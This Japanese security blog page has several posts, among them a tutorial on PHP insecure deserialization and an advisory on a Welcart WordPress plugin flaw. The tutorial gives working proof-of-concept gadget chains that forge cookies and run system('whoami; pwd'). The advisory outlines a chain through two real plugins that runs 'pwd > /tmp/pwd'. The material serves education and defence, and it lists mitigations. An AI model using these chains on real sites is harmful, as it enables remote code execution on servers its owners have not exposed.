2017年12月14日木曜日

2017年に登壇した勉強会を振り返る

この記事は #ssmjp Advent Calendar 2017の14日目です。昨日は、tigerszkさんの「ssmjp2017 ~今年一年の振り返り~」でした。明日は tcsh さんです。
ssmjpにちなみ、2017年に登壇した勉強会についてスライドとともに振り返りたいと思います。

セキュリティとUXの◯◯な関係

アレなタイトルですが、副題も「すれ違い続けた二人の運命の邂逅~セキュリティとUXは本当にトレードオフなのか」となっております。

日時: 2017年6月9日 20時~
場所: ヤフー株式会社 紀尾井タワー コワーキングスペース LODGE
講演タイトル: セキュリティ対策の都市伝説を暴く

登壇者は、BA(当時)の太田良典さんとヤフーの日野隆史さん、私でした。私からは、「セキュリティ対策の都市伝説を暴く」と題して、UIを損なうセキュリティ対策が本当に必要なのかというお話をしました。



聴講された方のブログ記事をいくつか紹介します。

セキュリティ・ミニキャンプ in 近畿 2017(神戸)

神戸のミニキャンプにて併催されたサイバーセキュリティセミナー in 神戸の特別講演を依頼されたものです。Webアプリセキュリティの基礎をというご要望でしたので、そのような内容になっています。

日時: 2017年6月30日 13時~
場所: 三宮研修センター 6階605会議室
講演タイトル: Webアプリセキュリティの常識




YAPC::Fukuoka 2017 HAKATA

YAPC::Fukuokaでゲスト講演を担当しました。この時は何をしゃべるか悩み抜いた末、40分で技術的にまとまった話をするのは無理、ということから、最近のウェブサイト侵入の事件をデモつきでひたすら紹介するというネタに走ったところ、なんとベストスピーカー賞を頂戴してしまいました。

日時: 2017年7月1日 10:00 〜
場所: LINE Fukuoka株式会社
講演タイトル: ウェブセキュリティの最近の話題早分かり




OWASP 名古屋 第1回ローカルチャプターミーティング

OWASP名古屋チャプターの記念すべき第1回チャプターミーティングで講演させていただきました。ウェブセキュリティの基礎というご依頼でしたが、少しネタに走りまして、たにぐちまことさん著の「よくわかるPHPの教科書」に含まれる脆弱性を題材にして、一通りのウェブアプリケーション脆弱性を説明するという趣向でした。具体的には、SQLインジェクション、CSRF、XSS、ファイルアップロードの問題について、この書籍の脆弱性(初期の版のもの)を使って説明しています。

日時: 2017年9月2日
場所: 愛知大学名古屋キャンパス(笹島)  講義棟8階、L802教室
講演タイトル: ウェブアプリケーションセキュリティ超入門





若手エンジニアのためのセキュリティ講座 - サポーターズCoLab

サポーターズさんの依頼により若手エンジニアのためのセキュリティ講座という講演を実施しました。後半では、セキュリティエンジニアのお仕事、徳丸自身のキャリア、いつまでも現役エンジニアでいつづけるために…などのお話をしています。

日時: 2017年9月9日
場所: 渋谷スクエアA
講演タイトル: 若手エンジニアのためのセキュリティ講座




PHPカンファレンス2017

PHPでは例年講演させていただいておりますが、今年はセキュアコーディングのお話をしました。簡単に要約すると、「従来は、外部からの値は信頼できないものとして扱うべきという原則が言われていたが、ソフトウェアは複雑なので、どの値が外部由来かどうかは簡単に判別できないので、内部・外部に関わらず信頼できないものとして扱うことを原則とすべきではないか」というお話です。

日時: 2017年10月8日
場所: 大田区産業プラザ PiO
講演タイトル: 著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則




デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう

弊社(EGセキュアソリューションズ株式会社)で実施した勉強会です。デバッガを用いてWordPress本体やプラグインの脆弱性を追っかけることにより、脆弱性の中身を深く知ろうという趣旨のものです。

日時: 2017年11月15日(好評のため 11月29日に同内容で再演)
場所: EGセキュアソリューションズ株式会社
講演タイトル: WordPress 本体とプラグインの脆弱性をデバッガで解析しよう



ブログ枠で参加された方のブログ記事を一部紹介します。


2017年11月の#ssmjp

以前「秀丸マクロを生成する秀スクリプトという言語処理系を作った」という記事を書きましたが、その内容について講演させていただきました。

日時: 2017年11月30日 19時~
場所: ヒカラボ (レバレジーズ本社( 渋谷ヒカリエ 17F )
講演タイトル: 秀スクリプトの話



秀スクリプトのデモ動画を貼っておきます。


こちらは、秀スクリプトでスクレイピングをするデモです。


ということで、今年も多くの勉強会で登壇させていただきました。来年もよろしくお願い致します。

2017年11月30日木曜日

IEのクッキーモンスターバグはWindows 10で解消されていた

エグゼクティブサマリ

IEのクッキーモンスターバグはWindows 10では解消されているが、Windows 7とWindows 8.1では解消されていない。このため、地域型JPドメイン名と都道府県型JPドメイン名上のサイトは、クッキーが外部から書き換えられるリスクが現実的に存在しするので、セキュリティ対策上もクッキー書き換えのリスクを考慮しておく必要がある。

クッキーが外部から変更された際のリスク

ウェブサイトの利用者が第三者によりクッキーの値を変更されると、以下のような攻撃が可能になります。
  • セッションIDの固定化攻撃(脆弱性がある場合)
  • クッキーを攻撃経路とするクロスサイトスクリプティング攻撃(脆弱性がある場合)
  • 一部のCSRF対策の回避
「一部のCSRF対策」と書いたのは、OWASPの資料ではDouble Submit Cookieと呼ばれるもので、乱数値をクッキーとリクエストパラメータの両方に持たせ、両者が一致していれば正規のリクエストとみなすという方法です。OWASP公認の方法のせいか、脆弱性診断でよく見かけます。私の知っている限り、以下のアプリケーションフレームワークのCSRF対策として採用されています。
  • FuelPHP
  • CodeIgniter
  • Django
いずれもメジャーなものですね。他にもきっとあると思います。
Double Submit Cookieは、サーバー側で状態を保持する必要が無いため、RESTとの相性が良いというのも最近好まれる理由かと思いますが、外部からクッキーを変更されないことを前提しているところが微妙なところです。
筆者の所属企業の脆弱性診断サービスでは、Double Submit CookieによるCSRF対策は指摘対象となっていて、危険度は状況によりInformationからMediumまで変わり得ます。

クッキーを外部から変更する方法

クッキーを第三者が変更する方法ってあるの? と思われた方も多いと思いますが、以下のような方法により可能です。
  • クッキーモンスターバグ(対象ドメインかつ対象ブラウザの場合)
  • HTTPSを使っているサイト(参考
  • クロスサイトスクリプティング脆弱性がある場合
  • HTTPヘッダインジェクション脆弱性がある場合
  • サブドメインに信頼できないサイトがあるか、XSS等の脆弱性がある場合
このうち、脆弱性によるものは当該の脆弱性を修正すればよいとして、「アプリケーションに脆弱性がないのにクッキーが書き換えられる」ものは、クッキーモンスターバグとHTTPSを使っている場合です。後者は以前詳しく説明したので、本稿では、クッキーモンスターバグについて取り上げます。

クッキーモンスターバグとは

東京都のサイトを例として説明します。東京都のサイトは、地域型JPドメイン名を使っていて、ホスト名は www.metro.tokyo.jp です。ここで、example.tokyo.jp という都道府県型JPドメイン名の罠サイトから、domain=tokyo.jp のクッキーが設定できたとすると、この罠サイトを閲覧したユーザーは、東京都のサイトで有効なクッキーを設定・変更されてしまうことになります。 
通常このようなSet-Cookieはできないはずなのですが、Internet Explorer(IE)は伝統的に(?)このようなクッキーを受け入れてしまいます。この種の問題はクッキーモンスターバグ(Cookie Monster Bug)と呼ばれます。

Windows 10 でクッキーモンスターバグを検証してみた

IEのクッキーモンスターバグは最近でも有効なのだろうかと思い、全ての更新プログラムを適用したWindows 8.1 と Windows 10で確認してみました。Windows 10では、Edgeも同様に検証しています。試験用のドメイン名としては、kawaguchi.tokyo.jpとtokumaru.bunkyo.tokyo.jpを用いました。その結果は下記のとおりです。


ドメイン名ドメイン属性Windows 8.1Windows 10
IE11IE11Edge
kawaguchi.tokyo.jp tokyo.jp 設定可設定不可設定不可
tokumaru.bunkyo.tokyo.jp tokyo.jp 設定可設定不可設定不可
bunkyo.tokyo.jp 設定可設定不可設定不可

結論としては、Windows 10では、IE、Edgeともクッキーモンスターバグは解消されています。厳密にどのタイミングで解消されたかは追えてないのですが、Windows 10の初期の版から解消されていることを確認していますので、Windows 10が登場したタイミングで解消されたのではないかと予想しています。

クッキーモンスターバグとどう付き合うべきか?

とは言え、Windows 7とWindows 8.1ではIEのクッキーモンスターバグは解消されておらず、上記の経緯から予想するに、これらでは解消される見込みは薄いと考えます。これらのWindowsがサポート終了となるのは、それぞれ2020年1月14日と2023年1月10日ですから、少なくともWindows 8.1がサポート終了となる2023年1月までは、クッキーモンスターバグのことは想定しておかなければならないことになります。

脆弱性対処との関係

セッションIDの固定については、ログイン時にセッションIDを振り直すという標準的な対策を取っていれば、クッキーモンスターバグの影響は受けません。
問題は、Double Submit CookieによるCSRF対策の回避です。こちらは簡単な対応策がありません。このため、IEのクッキーモンスターバグの影響がある地域型JPドメインおよび都道府県型JPドメイン名のサイトでは、Double Submit CookieによるCSRF対策は避けて、別の方法で対策するべきではないかと考えます。
なお、クッキーモンスターバグの影響がない場合でも、通信経路上に攻撃者が存在する場合は、中間者攻撃によりHTTP側でクッキーを改変できます。筆者の所属企業ではDouble Submit CookieによるCSRF対策を(危険度は様々だが)常に指摘対象としているのは、こちらの攻撃経路を考慮しているためです。

まとめ

クッキーモンスターバグの現状について報告しました。現状の見通しとしては、Windows 8.1のサポートが終了するまでの約5年間は、地域型JPドメイン名と都道府県JPドメイン名においては、クッキーが外部から変更されるリスクを多めに見積もる必要があります。その結果、少なくともこれらのドメイン名上に置かれるウェブサイトにおいては、Double Submit CookieによるCSRF対策は避けるべきだろうと考えます。


PR記事

OWASP Top 10 2017に対する弊社脆弱性診断の対応

2017年10月5日木曜日

PHPカンファレンス2017にてセキュアコーディングの話をします

PHPカンファレンス2017にて講演する機会をいただきました。

日時:10月8日(日)10:00~17:00(徳丸の出番は14:10から)
場所:大田区産業プラザPiO(東京都大田区)
費用:無料(申し込みはこちら
講演タイトル:著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則

想定聴講者としては、SQLインジェクション対策は聞き飽きた、もう少し突っ込んだ話が聞きたいという方を念頭においていますが、小難しくならないように、できるだけ平易にお話したいと考えています。

私はセキュアなプログラミングに関して、とにかく個別の脆弱性を守るための各論が大切で、それを知らないとどうしようもないという立場を取ってきました。その考え自体は変わっていないのですが、そうは言っても個別の各論を束ねる原則論、総論はないかのという思いはもちろんあります。
従来から、そのような「セキュア開発の原則」については各方面から提案のあるところですが、私はどれを見ても納得がいきません。恐らく、それらが根本的におかしいということはないと思うのですが、用語が曖昧だとか、書かれている例が適切でないとかの積み重ねにより、納得感が薄いのです。

このような私の思いに対して、自分自身の考える「セキュア開発の原則」をまとめたいと思い、過去に以下のような講演をしたことがあります(2016年2月27日)。


タイトルが「試み」という遠慮がちなものになっている理由は、世の中の教科書的な原則論に逆らう自信がまだあまりなかったからというのが正直なところですが、この講演は幸いにも概ね好意的に受け止められたと認識しています。

それから1年半がたち、ようやく「こうではないか」というものがまとまりましたので、PHPカンファレンスの場で発表させていただきたいと思います。

話の前半は、信頼境界の話から、脆弱性対処の原則論の話に展開していきます。

  • 値の扱い方
  • 信頼境界とは何か
  • 典型的な脆弱性と信頼境界の関係
  • 防御的プログラミングとセキュアコーディング

話の後半は、演題にあるようにPHPの著名アプリの脆弱性を取り上げ、それらがなぜ混入したか、どうしたら防げたかという話題になります。それは脆弱性を修正する方法という意味ではなく、どのような考え方をすればそもそも脆弱性が混入しなかったかという話です。

ところで、昨年のPHPカンファレンスでは、和田卓人さんの招待講演が素晴らしかったですよね。


和田さんのようにはいきませんが、私も和田さんがされたような話をしたいと大いに刺激を受けました。その成果をいくばくかでも披露できればと考えております。

2017年9月25日月曜日

安全でないデシリアライゼーション(Insecure Deserialization)入門

先日のブログ記事にて、Welcartのオブジェクトインジェクション脆弱性について説明しましたが、オブジェクトインジェクションという脆弱性自体の情報源があまりないので、入門記事を書こうと思い立ちました。

(2017/11/22追記)
OWASP Top 10 2017に正式に公開され、そのA7に安全でないデシリアライゼーション (Insecure Deserialization) が入りました。これは、本稿で扱うオブジェクトインジェクションと同内容ですが、OWASPの表記にならい、タイトルを変更しました。

以下、「そんなプログラムあり得るか?」という現実性についてはあまり気にしないで、原理的にオブジェクトインジェクションがどのようなものかについて順を追って説明していきます。以下、PHP言語のケースを題材として具体例を提示しますが、概念自体は他の言語でも通用するものです。

シリアライズとオブジェクトインジェクション

シリアライズとは、構造を持ったデータをバイト列形式に変換することです。PHPではserialize関数その他の方法で行えます。PHPのシリアライズ形式は見た目文字列のように見えますが、nullバイトを含むためバイナリデータとして扱う必要があります。シリアライズ結果を元のオブジェクトに戻すことをデシリアライズといい、PHPではunserialize関数により行えます。これらを模式的に表した図を以下に示します(*1)。


オブジェクトをシリアライズするのは、オブジェクトを伝送したり、保存したりするためです。この際にhiddenパラメータやクッキーを経由すると、シリアライズされたデータを差し替えることができるので、オブジェクトの偽物をつかまされることになります。これがオブジェクトインジェクションです。


脆弱なプログラム(1)


オブジェクトをシリアライズしてクッキー経由で引き渡ししているスクリプトを考えます。まずは、シリアライズしてクッキーにセットする側。ご覧のように、このクラス Foo にはinit()というメソッドがあります。

<?php // setcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

header('ContentType: text/plain');
$foo = new Foo();
$serialized_foo = serialize($foo);
setcookie('FOO', $serialized_foo);
echo str_replace("\0", '[nul]', $serialized_foo);  // \0 を [nul] に変換して表示
次に、クッキーを受け取る側です。クッキー経由のシリアライズされたオブジェクトをデシリアライズして、メソッドinit()を呼び出しています。
<?php // getcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
$result = $foo->init();
しかし、このスクリプトでは、クラスFoo以外にクラスBarも定義されています。偶然なことに、クラスBarにもメソッドinit()があり、このメソッドは、プロパティ $sys を引数として system() 関数を呼び出しています。
このため、このスクリプトに、クラスBarのインスタンスをシリアライズしたクッキーを与えてみます。そのようなクッキーを作るスクリプトを下記に示します。
<?php // setcookie2.php

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('ContentType: text/plain');
$bar = new Bar('whoami; pwd');
$serialized_bar = serialize($bar);
setcookie('FOO', $serialized_bar);
echo str_replace("\0", '[nul]', $serialized_bar);
これにより、クッキーFOOに、クラスBarのインスタンスがセットされます。この状態で先のスクリプト(getcookie1.php)を実行すると、下記となります。
Bar Object
(
    [sys:Bar:private] => whoami; pwd
)
www-data
/var/www/html
Bar::init() done
Barインスタンスのプロパティに 'whoami; pwd' がセットされているので、init() メソッド実行時に下記が実行されることになります。攻撃の成功です。
system('whoami; pwd');
もっとも分かりやすいオブジェクトインジェクションによる任意コード実行は上記のものですが、流石にこのように都合よく攻撃に使えるクラスがあるケースはレアでしょう。そこで、次にもう少し現実的にものを考えてみます。

脆弱なプログラム(2)

次に検討するのは、共通名のメソッドinit()等はないケースです。この場合でも、オブジェクトが生成された場合暗黙に起動されるメソッドがあります。こちら、厳密には複数あり、新原 雅司さんのブログ記事に詳しいですが、多くの場合デストラクタが問題になると考えてよいでしょう。すなわち、デシリアライズにより生成されたオブジェクトはいずれ「どこからも参照されない状態」になり、このタイミングでデストラクタが呼ばれます。

それでは、下記のスクリプトをサンプルとして、攻撃例を示しましょう。
<?php // getcookie3.php

class Foo {  // 本来使われるはずのクラス
}

class Baz {  // 攻撃に悪用されるクラス
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
上記のスクリプトは、想定としてはFooクラスのインスタンスをシリアライズして受け渡しするものですが、悪用可能なクラス定義としてBazがあります。Bazクラスは、デストラクタ内で call_user_func_array() 関数を呼び出しており、その引数は、Bazクラスのプロパティとなっています。

このスクリプトを攻撃するためのクッキーは下記で設定可能です。
<?php  // setcookie3.php

class Baz {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$baz = new Baz('system', ['whoami; pwd']);  // Bazインスタンスに攻撃用のパラメータをセット
$serialized_baz = serialize($baz);
setcookie('FOO', $serialized_baz);
echo str_replace("\0", '[nul]', $serialized_baz), PHP_EOL;

上記により生成したクッキーをセットして、getcookie3.phpを実行すると、実行結果は下記となります。
Baz Object
(
    [func:Baz:private] => system
    [args:Baz:private] => Array
        (
            [0] => whoami; pwd
        )
)
www-data
/
Bazインスタンスのfuncプロパティに 'system'、argsプロパティに ['whoami; pwd'] がセットされているので、下記のcall_user_func_array関数が呼ばれることになります。
call_user_func_array('system', ['whoami; pwd']);
これにより、system('whoami; pwd'); が呼び出されます。

脆弱なプログラム(3)

getcookie3.phpは、絶対にないとも言えないのですが、私自身は見たことがないパターンです。そこで実際にあった例を紹介しましょう。具体的には、下記で紹介したケースです。
これらの例を簡単にすると、以下のスクリプトに集約されます。
<?php  // getcookie4.php

class Foo {
}

class Qux {
  private $func;
  public function __construct($func, $args) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
オブジェクトインジェクションで直接起動できるクラスQuxのデストラクタは、call_user_func関数が呼ばれてはいますが、関数・メソッドに引数がとれません。phpinfo()関数の呼び出し程度はできますが、あんなことや、こんなこと…はできないわけです。
しかし、もう一つ別のクラスを探して、そのクラスに引数なしのメソッドからcall_user_funcやcall_user_func_array関数が引数ありで呼び出されていれば、2段階でメソッドを呼び出して、攻撃ができます。上記はそのような例になっています。
攻撃コードのセット例は下記のとおりです。
<?php  // setcookie4.php

class Qux {
  private $func;
  public function __construct($func) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$quux = new Quux('system', ['whoami; pwd']);
$qux  = new Qux([$quux, 'exec']);

$serialized_qux = serialize($qux);
setcookie('FOO', $serialized_qux);
echo str_replace("\0", '[nul]', $serialized_qux), PHP_EOL;
攻撃にあたっては、まずクラス Quux のインスタンスを生成し、funcプロパティに 'system'、argsプロパティに ['whoami; pwd'] をセットします。
次に、Quxクラスのインスタンスを生成し、funcプロパティに、先のQuuxインスタンスと'exec'からなる配列をセットします。
これにより生成されたクッキーをgetcookie4.phpにセットして実行した結果は下記のとおりです。
Qux Object
(
    [func:Qux:private] => Array
        (
            [0] => Quux Object
                (
                    [func:Quux:private] => system
                    [args:Quux:private] => Array
                        (
                            [0] => whoami; pwd
                        )
                )
            [1] => exec
        )
)
www-data
/
これによる任意コマンド実行の手順は次のとおりです。まず、Quxインスタンスのデストラクタが呼ばれ、そこから Quux::execメソッドが引数なしで呼ばれます。Quuxインスタンスには前述のとおり、system('whoami; pwd'); を呼び出すためのプロパティがセットされているため、execメソッドによりこれが実行されます。

その他のケース

このエントリでは、最終的にsystem関数の実行に至る例を示しました。それ以外に、スクリプトをドキュメントルート下に書き込む方法がとれる場合もあります。このような例については、下記を参照下さい。


対策

PHPのオブジェクトインジェクションは、上記のように攻撃は難易度が高いのですが、対策は実は容易です。unserialize関数に外部由来の値を渡さなければよいだけです。言い換えれば、unserialize関数に渡す値は、データベースやセッション変数など安全な情報源に限るべきですし、可能であれば、json_encode / json_decode など、より安全な方法で代替するべきです。JSONであれば、オブジェクトインジェクションによりコードが実行されることはありません。
PHP 7.0からは、unserialize関数の省略可能な第2パラメータとして、$optionsが渡せるようになり、ここからデシリアライズ対象のクラス一覧を指定できるようになりました。以下のように使います。この例では、デシリアライズにより生成されるクラスをFooクラスに限定しています。
$foo = unserialize($_COOKIE['FOO'], ["allowed_classes" => ["Foo"]]);
これにより、unserialize関数は *より安全に* 使用できるようになりますが、しかし、allowed_classesを指定するからと言って、unserialize関数に外部由来の値を指定してはいけません。これは危険過ぎますし、PHPのマニュアルにもそのように明記されています。
警告 allowed_classes の options の値にかかわらず、 ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 シリアル化したデータをユーザーに渡す必要がある場合は、安全で標準的なデータ交換フォーマットである JSON などを使うようにしましょう。 json_decode() および json_encode() を利用します。

http://php.net/manual/ja/function.unserialize.php より引用
私もこの警告に同意します。

また、緩和策としてマジックメソッド __wakeup() を活用する方法も考えられます。__wakeup() メソッドが定義されている場合、unserialize()関数でデシリアライズされたオブジェクトに対してこのメソッドが呼び出されます。__wakeup()は、通常はデシリアライズ後のオブジェクトを「使える状態に仕上げる」ためのものですが、逆にシリアライズを想定していないクラスについては、__wakeup()を「デシリアライズされたことの検知」に使えるのではないかと考えました。

具体的には、以下のような__wakeup()メソッドを定義します。
public function __wakeup() {
  trigger_error('このクラス(Qux)はシリアライズでき ません', E_USER_ERROR);
}
プログラムを終了させる目的として、trigger_error()を呼んでいますが、exit()等では終了時にデストラクタが呼ばれてしまうので結局攻撃が成立してしまいます。一方、trigger_errorでE_USER_ERRORを指定した場合は、デストラクタを呼ぶことなく直ちにプログラムが終了するので、緩和策として使えます。

また、デストラクタでは、できるだけ余計なことをしないという実装方針も有効です。
3大CMS(WordPress、Joomla!、Drupal)のソースコードからデストラクタの実装を比較してみると、Joomla!のみが圧倒的にデストラクタで *色々* やっていて、オブジェクトインジェクション攻撃に使えそうですし、実際使えます。この点、WordPressとDrupalのソースに出てくるデストラクタは概ね単純なことしかやっていないので、攻撃には使えなさそうな印象です。

まとめ

オブジェクトインジェクションの入門的な解説を試みました。オブジェクトインジェクションは、一部の著名ソフトの脆弱性として報告されており、Joomla!など大規模な攻撃例もありますが、まだまだ認知が進んでいないと思われます。
本稿によりオブジェクトインジェクションに対する認識が広がればと希望します。

EGセキュアソリューションズ広告

EGセキュアソリューションズ株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。

サービス案内 | EGセキュアソリューションズ株式会社


*1: この図は「iOS でオブジェクトをシリアライズしてファイルに保存する方法 - A Day In The Life」の図を参考にリライトいたしました。

2017年9月22日金曜日

WordPressのプラグインWelcartにオブジェクトインジェクション脆弱性

エグゼクティブサマリ

WordPress向けの国産カートプラグインであるWelcartにオブジェクトインジェクション脆弱性があることが発表された。この脆弱性により環境依存ながらリモートコード実行の可能性があるため報告する。

はじめに

Welcartは、WordPressをベースにショッピングサイトを構築する際に便利なプラグインで、国産ということもあり日本では非常に多く用いられています。そのWelcartにオブジェクトインジェクションの脆弱性があり、公表されました。
オブジェクトインジェクション脆弱性の修正
フロントにて、オブジェクトインジェクションと思われる脆弱性が認められました。
過去のすべてのバージョンが対象となります。1.9.4にアップグレードしてください。
放置しますと、サイトに任意のファイルの埋め込まれる可能性があります。
Welcart 1.9.4 をリリースしました【脆弱性の修正】より引用
修正の差分は下記となっています。外部入力(クッキー)をデシリアライズしていて、典型的なオブジェクトインジェクションですね。


Welcartのフォーラムを見ると、既に攻撃された旨の報告が上がっています。しかし、私は、Welcartの脆弱性が原因ではないのではないかと疑っています。後述するように、Welcartの脆弱性が攻撃される条件が狭いからです。

オブジェクトインジェクションとは

Welcartのパターンのオブジェクトインジェクションについては、以下の記事で説明しているので参照下さい。
PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる
簡単に説明するとこうです。PHPのunserialize関数に外部由来の値(この場合はクッキー)を処理させると、サーバー内で任意のクラスのオブジェクトを生成することができます。オブジェクトは単なるデータですが、各クラスにはメソッドがあるため、クラス定義によっては外部から注入したオブジェクトのメソッドが実行されるケースがあります。典型的にはデストラクタです。このため、オブジェクトの値を巧妙に調整することにより、既存クラスのデストラクタ経由で、攻撃ができる場合があります。
先のブログ記事では、デストラクタからログ・ファイルを出力していて、オブジェクトのプロパティを調整することにより、ファイル名とログの値を外部から指定することにより、PHPスクリプトを書き込む形で任意コード実行まで行う例を示しています。

リモートコード実行可能なプラグインの組み合わせを探す

前述のように、オブジェクトインジェクション単体でできることは、データとしてのオブジェクトを注入することであり、オブジェクトのメソッドは対象アプリケーションに元々あるものを攻撃に使うことになります。しかも、生成されたオブジェクトから自動的に呼びされるものを使うケースが攻撃の典型的ですので、大雑把に言ってデストラクタが攻撃に使えるかどうかが問題になります。
私がWelcartおよびWordPress本体をざっと確認した範囲では、攻撃に使えそうなデストラクタは見当たりませんでした。先に、被害例が既に報告されているがWelcartの脆弱性が原因ではないのではないかという予想を述べた理由はこれが根拠です。
しかし、一般にWordPressサイトでは多くのプラグインを同時にインストールして用いるケースが多いので、Welcart以外のプラグインで攻撃に使えるものがないかを探すことにしました。WordPressサイトによると、WordPressの公式リポジトリから公開されているプラグインは52,194個あるようですが、その中の「人気のプラグイン」として公開されている1,386個をしらみつぶしに目視確認する方法で、コード実行に悪用できるプラグインを探しました。
まず、私が注目したのは、All-in-One Event Calendarというプラグインです。人気のプラグインとしては95番目で、有効インストール数は10万以上となっています。こちらの、Ai1ec_Shutdown_Controllerクラスのデストラクタは下記のようになっています。

12: class Ai1ec_Shutdown_Controller {
          // 中略
41:   public function __destruct() {
          // 中略
56:       // execute callbacks
57:       foreach ( $this->_callbacks as $callback ) {
58:           call_user_func( $callback );
59:       }
これにより、任意の関数あるいは任意クラスの任意メソッドが呼び出せますが、惜しいことに引数が渡せません。引数なしで悪いことというのは中々できないのでこれ単独では攻撃に使えませんが、デストラクタ以外の引数のないメソッドで、もっと色々なことができるものを探せば、組み合わせで悪いことができます。
以前、Joomla!の脆弱性とされた CVE-2015-8562 に対するPoCでは、この目的のために SimplePie というフィード解析等に用いるクラスのメソッドが悪用されました。そのあたりの解説は以下を御覧ください。
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
WordPressにもSimplePieは同梱されていて、当初これが使える! と思いました。以下のメソッドです。
 448: class SimplePie
 449: {
中略
1242:   public function init()
1243:   {
中略
1306:     if ($this->feed_url !== null)
1307:     {
1308:       $parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
1309:
1310:       // Decide whether to enable caching
1311:       if ($this->cache && $parsed_feed_url['scheme'] !== '')
1312:       {
1313:         $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location,
                               call_user_func($this->cache_name_functon, $this->feed_url), 'spc'));
1314:       }

$this->cache_name_functon に関数名、$this->feed_url に引数をセットすればいいので、楽勝じゃん…と思ったのですが、うまく行きません。デバッガで追っかけると、このクラスはWordPressの場合、デフォルトではロードされないのです。
オブジェクトインジェクションで使えるクラスは、対象アプリケーションで元々ロードされているクラスか、オートロードで自動的にロードされるクラスでなければなりません。SimplePieはこの条件に合致しないようです。
SimplePie自体はファイルとしてはあるので、サイトのカスタマイズでSimplePieを呼び出すようにしておけば攻撃に使えますが、ちょっとわざとらしい想定ですので、他の可能性を探ることにしました。
…ということで、SimplePieに代わるクラスを他のプラグインに探すことにしました。すると、ManageWP Workerというプラグインが使えそうでした。有効インストール数は50万以上です。
こちらの MWP_WordPress_HookProxy クラスの hook() メソットが使えます。
20: class MWP_WordPress_HookProxy
21: {
中略
38:     public function hook()
39:     {
40:         call_user_func_array($this->callback, $this->args);
41:     }
このクラスをオブジェクトインジェクションしたところ、元々このクラスは読み込まれていませんでしたが、オートロードでクラス定義が読み込まれました。つまり、攻撃に使えることになります。

実験

プラグインの組み合わせがレアかなと思えるものの、悪用を避けるため、具体的な攻撃コードの公表は控えます。攻撃のおおまかな流れは下記となります。
  • MWP_WordPress_HookProxyインスタンスを生成し、callbackプロパティに関数名、argsプロパティに引数配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスを生成し、_callbacksプロパティに、先のオブジェクトと文字列 "hook"からなる配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスをシリアライズ、パーセントエンコードし、クッキーにセットする
  • Welcart等のプラグインを導入したWordPressサイトを閲覧する
実験では、 pwd > /tmp/pwd というコマンドを実行し、このファイルが生成されていることで任意コード実行を確認しました。この際のMWP_WordPress_HookProxy生成は下記となります。
class MWP_WordPress_HookProxy
{
    private $callback;
    private $args;
    public function __construct() {
        $this->callback = "system";
        $this->args = array("pwd  > /tmp/pwd");
    }
}

影響

影響を受けるサイトは、Welcart 1.9.3以前を導入しているWordPressサイトですが、前述のようにこれだけでは攻撃を受ける可能性は低く、他のプラグインやカスタマイズの状況によっては、任意コード実行の可能性があります。
実験に用いたAll-in-One Event Calendar と ManageWP - Worker はあくまで例ですし、これらに脆弱性があるわけではありません。攻撃を受ける原因は、あくまで Welcart の脆弱性にあります。

対策

対策はWelcartの最新版(本稿執筆時点では 1.9.4)にアップデートすることです。

まとめ

Welcartのオブジェクトインジェクションにより任意コード実行できる可能性について説明しました。オブジェクトインジェクションに関する記事があまりない状況ですので、具体的な事例として参考にしていただければと思います。

私が調べた範囲では、現実のサイトに対する攻撃はかなり限定的であるような印象を受けましたが、短期間での荒い調査ですので、当該のWelcartをお使いのサイトは、至急にアップデートを強く推奨します。

免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびEGセキュアソリューションズ株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。


【EGセキュアソリューションズ広告】

EGセキュアソリューションズ株式会社では、WordPressを用いたウェブサイトのセキュリティ強化支援サービスを提供しています。詳しくは以下を参照下さい。

WordPressサイトのセキュリティ強化支援 | EGセキュアソリューションズ株式会社

2017年8月30日水曜日

このブログのHTTPS化を試験運用中

このブログはbloggerで運用されており、独自ドメイン下でのHTTPS対応はbloggerの仕様として対応していないのですが、リバースプロキシを立てる方法でHTTPS化してみました。
当面試験運用としますので、不具合などありましたら、twitter等でお知らせ下さい。

2017年8月12日土曜日

秀丸マクロを生成する秀スクリプトという言語処理系を作った

エグゼクティブサマリ

